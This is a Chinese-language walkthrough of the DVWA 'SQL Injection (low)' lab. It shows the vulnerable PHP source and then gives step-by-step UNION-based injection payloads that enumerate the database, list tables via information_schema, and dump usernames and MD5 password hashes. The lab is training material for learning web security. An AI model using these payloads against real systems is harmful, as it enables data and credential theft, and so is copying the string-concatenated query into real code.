參考sql注入基礎原理
DVWA/SQL Injection/low
場景
- :
源碼
- source:
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
原理
- 看URL:
http://127.0.0.2:8086/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#
說明PHP是通過GET請求 - SQL查詢語句:
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"
- 我們是通過控制參數Id的值來返回我們需要的信息。如果我們不按常理出牌,比如在輸入框中輸入
1' order by 1#
- 實際執行的Sql語句就會變成:
"SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#';"
注入示例
猜解數據庫
-
先利用order by 猜數據庫字段個數
- 由此可知,users表中只有兩個字段,數據爲兩列。
-
接着利用
UNION SELECT
聯合查詢獲取數據庫的信息- union 運算符可以將兩個或兩個以上 select 語句的查詢結果集合合併成一個結果集合顯示,即執行聯合查詢。需要注意在使用 union 查詢的時候需要和主查詢的列數相同,而我們之前已經知道了主查詢列數爲 2,接下來就好辦了。
- 輸入
'1 union select database(),user() #
- 實際執行:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#
;
` - 從返回信息可知:
- 數據庫名字是
dvwa
, - 當前查詢信息的用戶名是
root@localhost
- 數據庫名字是
-
同理 再輸入
1' union select version(),@@version_compile_os#
進行查詢- version() 獲取當前數據庫版本.
- @@version_compile_os 獲取當前操作系統。
-
接下來嘗試得到dvwa數據庫中的表名
-
information_schema
是 mysql 自帶的一張表,這張數據表保存了 Mysql 服務器所有數據庫的信息,如數據庫名,數據庫的表,表欄的數據類型與訪問權限等。該數據庫擁有一個名爲 tables 的數據表,該表包含兩個字段 table_name 和 table_schema,分別記錄 DBMS 中的存儲的表名和表名所在的數據庫。 -
執行語句
1 ' union select table_name,table_schema from information_schema.tables#
-
-
通過上圖返回信息,我們再獲取到:
- dvwa 數據庫有兩個數據表,分別是 guestbook 和 users .
-
-
那麼我們接下來嘗試獲取重量級的用戶名、密碼。
- 由經驗我們可以大膽猜測users表的字段爲 user 和 password ,所以輸入:
1' union select user,password from users#
進行查詢: - 可以看到成功爆出用戶名、密碼,密碼採用 md5 進行加密,可以到www.cmd5.com進行解密。
- 由經驗我們可以大膽猜測users表的字段爲 user 和 password ,所以輸入:
驗證繞過
見https://www.jianshu.com/p/078df7a35671